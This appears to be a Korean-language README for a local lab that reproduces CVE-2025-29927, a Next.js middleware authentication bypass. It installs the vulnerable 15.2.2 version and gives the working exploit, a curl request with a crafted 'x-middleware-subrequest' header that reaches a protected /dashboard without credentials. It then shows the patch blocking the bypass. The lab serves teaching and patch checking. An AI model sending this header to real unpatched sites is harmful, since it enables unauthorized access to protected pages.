
CVE-2025-29927 재현 연구소 — Next.js 미들웨어 인증 우회 (CVSS 9.1)
CVE-2025-29927에 대한 최소 재현 실습 환경입니다. — Next.js 미들웨어 인증 우회 (CVSS 9.1).
관련 자료: Medium의 N-Day 분석 글
취약한 Next.js 15.2.2 애플리케이션으로, 쿠키로 보호된 /dashboard 경로가 있습니다. 미들웨어 인증 검사는 단일 HTTP 헤더 하나를 보내는 것만으로 우회할 수 있습니다 — 자격 증명이 필요하지 않습니다.
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
1단계 — 미들웨어가 인증되지 않은 요청을 차단하는지 확인:
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
2단계 — 서브리퀘스트 헤더로 미들웨어 우회:
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
3단계 — 패치된 버전으로 업그레이드하고 우회가 차단되는지 확인:
npm install [email protected]
# Restart the dev server, then repeat Step 2
# → 307
| 경로 | 접근 권한 |
|---|---|
/ | 공개 |
/login | 공개 |
/dashboard | 미들웨어로 보호됨 (session 쿠키 필요) |
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5